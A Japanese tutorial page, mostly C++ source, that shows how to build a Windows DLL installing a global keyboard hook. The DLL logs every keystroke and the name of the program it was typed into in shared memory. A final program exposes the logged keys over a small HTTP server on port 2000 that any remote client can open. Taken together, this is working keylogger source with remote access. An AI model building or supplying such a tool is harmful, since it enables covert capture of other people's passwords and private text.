○キーボードフック

○dllによりキーボードをフックします
void HookStart(void)        フックの開始
void HookEnd(void)          フックの終了
Cからのdllの呼び出し方は、Win32 Dynamic-Link LibraryのDLLの呼び出しの項を見てください。
(一番下にサンプル有り)
VB.netからのdllの読み出し方は、VB.net アンマネージドDLLの呼び出しの項をみてください。

○dll作成方法
Win32 Dynamic-Link Library
単純なDLLプロジェクトを選択
以下を追加


#include <windows.h>

HINSTANCE hInst;
HHOOK hHook;

LRESULT CALLBACK HookProc(int nCode, WPARAM wp, LPARAM lp)
{
	char buff[2]="";
	buff[0]=wp;
	MessageBox(NULL, buff, "hook", MB_OK);//キーが押されるとメッセージボックスを表示
	return CallNextHookEx(hHook, nCode, wp, lp);
}

extern "C" __declspec(dllexport) void HookStart()
{
	hHook = SetWindowsHookEx(WH_KEYBOARD, HookProc, hInst, 0);
}

extern "C" __declspec(dllexport) void HookEnd()
{
	UnhookWindowsHookEx(hHook);
}

BOOL APIENTRY DllMain(HINSTANCE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	hInst=hModule;
	return TRUE;
}


○キーを読み出すDllの作成-------------------------------------------------------

フックは別のプロセスとして動作するため、変数などを使用できません
そのため、メモリマップドファイルを使用します。

getKey()により読み取ったキーボード情報が読み出せます

補足
メモリマップドファイル(プロセス間通信)


#include <stdio.h>
#include <windows.h>


#define BUFF_SIZE 256

HINSTANCE hInst;
HHOOK hHook;
HANDLE hFile;
char buff[BUFF_SIZE];
unsigned int buff_cursor;
char path[MAX_PATH+1];

void onChar(char c){
	c=c&0x7F;
	if(0x20>c) c='?';//制御文字は?に変換する
	if((BUFF_SIZE-1)<=buff_cursor) buff_cursor=0;
	buff[buff_cursor]=c;
	buff[++buff_cursor]='\0';
}

LRESULT CALLBACK HookProc(int nCode, WPARAM wp, LPARAM lp)
{
	if(lp>0){
		onChar((char)wp);
		//メモリマップドファイルを作成 サイズ:1024バイト 名前:inaba
		HANDLE File = CreateFileMapping( (HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE, 0, 1024, "hookinaba") ;
		//アドレスを取得
		LPVOID hMap = MapViewOfFile( File, FILE_MAP_WRITE | FILE_MAP_READ, 0, 0, 0 ) ;
		sprintf((char *)hMap,"[%s]\n%s",path, buff);//書き込み
//		char*str=(char*)hMap;//読み出し	
		UnmapViewOfFile(hMap);
		CloseHandle( File) ;//メモリマップドファイルをクローズ
	}
	return CallNextHookEx(hHook, nCode, wp, lp);
}

extern "C" __declspec(dllexport) void HookStart()
{
	//メモリマップドファイルを作成 サイズ:1024バイト 名前:inaba
	hFile = CreateFileMapping( (HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE, 0, 1024, "hookinaba") ;

	
	hHook = SetWindowsHookEx(WH_KEYBOARD, HookProc, hInst, 0);
}

extern "C" __declspec(dllexport) void HookEnd()
{
	UnhookWindowsHookEx(hHook);
	CloseHandle( hFile) ;//メモリマップドファイルをクローズ
}

extern "C" __declspec(dllexport) char* getKey()
{
		//アドレスを取得
		LPVOID hMap = MapViewOfFile( hFile, FILE_MAP_WRITE | FILE_MAP_READ, 0, 0, 0 ) ;
//		strcpy((char *)hMap, buff);//書き込み
		strcpy(buff,(char*)hMap);//読み出し	
		UnmapViewOfFile(hMap);
	return buff;
}


BOOL APIENTRY DllMain(HINSTANCE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	hInst=hModule;
	GetModuleFileName( NULL, path, MAX_PATH );// dllが実行されるプログラムの完全パスを取得
	return TRUE;
}



■DLLの呼び出しをするプログラム


#include <stdio.h>
#include <windows.h>


int main(){
	typedef void (*HOOKSTART)(void);	//関数ポインタの構造体の宣言
	typedef void (*HOOKEND)(void);
	typedef char*(*GETKEY)(void);

	//アドレス空間内にマップする
	HINSTANCE hDllInstance = ::LoadLibrary("keyhook.dll");//DLLを指定

	// エクスポートされた関数のアドレスを取得
	HOOKSTART HookStart=(HOOKSTART)::GetProcAddress(hDllInstance, "HookStart"); //関数ポインタとDLLの関数の結びつけ
	HOOKEND HookEnd=(HOOKEND)::GetProcAddress(hDllInstance, "HookEnd");
	GETKEY getKey=(GETKEY)::GetProcAddress(hDllInstance, "getKey");
			
	HookStart();//後は普通の関数のように呼び出せます。

//	while(1){	
//		printf("%s\n",getKey());
//		Sleep(1000);
//	}
	getchar();	
	
	
	HookEnd();

	FreeLibrary(hDllInstance);//開放

	return 0;
}



■DLLを呼び出すプログラムに簡易HTTPサーバーを取り付けたもの


#pragma comment(lib, "wsock32.lib")
#include <stdio.h>
#include <process.h>
#include <winsock2.h>


//リスンするポート番号
#define PORT 2000


typedef void (*HOOKSTART)(void);	//関数ポインタの構造体の宣言
typedef void (*HOOKEND)(void);
typedef char*(*GETKEY)(void);

HOOKSTART HookStart;
HOOKEND HookEnd;
GETKEY getKey;


unsigned __stdcall TcpReadToSend(void*so){
	SOCKET s=*((SOCKET*)so);

	char buff[1024]="";
	//-------受信--------
	recv(s,buff,1024,0);

	//-------送信--------
	sprintf(buff,"<html><head><META HTTP-EQUIV=\"Refresh\" CONTENT=\"1\"> </head><body><pre>%s</pre></body></html>\r\n",getKey());
	send(s, buff, (int)strlen(buff), 0);

	closesocket(s);

	free(so);
#ifdef MT
	_endthreadex(0);
#endif
	return 0;
}


int WINAPI WinMain(HINSTANCE hCurInst,HINSTANCE hPrevInst,
					LPSTR lpsCmdLine,int nCmdShow ){

	//dllの操作
	//アドレス空間内にマップする
	HINSTANCE hDllInstance = ::LoadLibrary("keyhook.dll");//DLLを指定

	// エクスポートされた関数のアドレスを取得
	HookStart=(HOOKSTART)::GetProcAddress(hDllInstance, "HookStart"); //関数ポインタとDLLの関数の結びつけ
	HookEnd=(HOOKEND)::GetProcAddress(hDllInstance, "HookEnd");
	getKey=(GETKEY)::GetProcAddress(hDllInstance, "getKey");

	HookStart();//フックの開始

	//TCP/IPの操作
	WSADATA wsaData;
	//winsockの初期化
	while(WSAStartup(WINSOCK_VERSION, &wsaData)) {//WinSockの初期化失敗
		WSACleanup();
		printf("%s\n","初期化失敗");
		Sleep(1000);
	}

	//ソケットを作成する
	SOCKET listen_s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (INVALID_SOCKET==listen_s) {//ソケットのオープン失敗
		printf("%s\n","ソケットのオープン失敗");
		HookEnd();//フックの終了
		return 0;
	}
	SOCKADDR_IN saddr;
	//構造体を初期化する
	memset(&saddr, 0, sizeof(SOCKADDR_IN));
	saddr.sin_family = AF_INET;
	saddr.sin_port = htons(PORT);
	saddr.sin_addr.s_addr = INADDR_ANY;

	int len=sizeof(struct sockaddr);
	//ソケットをアドレス、ポートに結びつける
	if (bind(listen_s, (struct sockaddr *)&saddr,len)) {//バインドエラー
		printf("%s\n","bindの失敗");
		HookEnd();//フックの終了
		return 0;
	}
	//ソケットを接続待ちの状態にする
	if (SOCKET_ERROR==listen(listen_s,SOMAXCONN)) {
		printf("%s\n","listenの失敗");
		HookEnd();//フックの終了
		return 0;
	}
	while(1){
		SOCKET*s;
		while(NULL==(s = (SOCKET*)malloc(sizeof(SOCKET))));
		//接続待ちのリクエストを一つ取り出し、接続を確立する

		*s= accept(listen_s,(struct sockaddr *)&saddr,&len);//接続されるまでここで待機
		printf("%s\n","accept");
		if (INVALID_SOCKET!=*s) {
#ifdef MT
			HANDLE th=(HANDLE)_beginthreadex(NULL,0,TcpReadToSend,(void*)s,0,NULL);//複数の送受信を受け付ける場合。スレッドを立てます

			if(th){
				//スレッドの優先度を下げる
				//SetThreadPriority( th , THREAD_PRIORITY_BELOW_NORMAL );
				while(!CloseHandle(th));//参照カウンタを一つ減らす
			}else{
				closesocket(*s);
				free(s);
			}
#else
			TcpReadToSend((void*)s);//一つのクライアントしか無い場合
#endif
		}else{

			free(s);
		}
	}

	HookEnd();//フックの終了

	FreeLibrary(hDllInstance);//開放


	//winsockの開放
	closesocket(listen_s);
	WSACleanup();

	return 0;
}




▲トップページ > Windows と C++